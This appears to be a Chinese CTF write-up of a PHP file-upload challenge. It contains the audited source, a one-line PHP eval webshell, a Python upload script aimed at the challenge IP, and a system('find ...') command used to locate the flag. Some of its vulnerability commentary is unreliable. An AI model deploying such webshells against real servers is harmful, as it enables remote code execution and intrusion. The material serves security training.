下载压缩文件后获得服务器地址
http://47.102.223.17:2333/
访问后得到php源码
进行代码审计发现两个可能存在的漏洞
<?php if (isset($_FILES["file"]["tmp_name"])) { $file = fopen($_FILES["file"]["tmp_name"], "r"); $data = fread($file, filesize($_FILES["file"]["tmp_name"])); //这里存在json解析执行任意远程代码漏洞 $arr = json_decode($data, true, 2); //判断文件内容是否为json if (json_last_error() != JSON_ERROR_NONE) { die("JsonErr"); } //判断json是否只有一个节点 if (count($arr) != 1) { die("DataErr"); } //取出data节点的数据 $data = $arr['data']; //判断文本长度是否小于56 $len = strlen($data); if ($len > 56) { die("Long"); } //只要json节点name不是data,这个正则就直绕过了 if (preg_match("/[\[\]`'^=\/\\$.;]+/", $data)) { die("no"); } //生成一个随机的文件名 $name = mt_rand(); $ext = strrchr($_FILES['file']['name'], '.'); $ext = trim($ext); //把上传的文件拷贝到upload目录,这里存在绕过文件名限制漏洞,但和本题无关 move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $name . $ext); //打印新文件路径 echo "upload/" . $name . $ext; } else { //高亮显示当前文件代码 highlight_file(__FILE__); } ?>
写webshell,只要name不为data,value里面放一句话木马即可
{"ok":"<?php @eval($_POST['cmd']); ?>"}
然后写了个python脚本上传文件(Postman代理没配好,浪费时间了)
import requests url = 'http://47.102.223.17:2333/' def upload_file(): files = [ ('file', open('getshell.php', 'rb')) ] response = requests.request("POST", url, files=files) print(response.text) if __name__ == '__main__': upload_file()
上传成功后发现一句话木马不见了,那就是成功被执行了
用蚁剑连接
然后在根目录下找到了flag
PS:一定要认真读题啊,我还一直以为flag在apache的目录下,一直没找到flag...
然后写了个找flag的脚本。。。 IQ-100
<?php system("find / -name *flag*") ?> <h1>xtgo writeup</h1>
全篇完。
[培训]科锐逆向工程师培训班38期--远程教学预课班将于 2020年5月28日 正式开班!
最后于 1天前 被xjklewh编辑 ,原因: 调整代码格式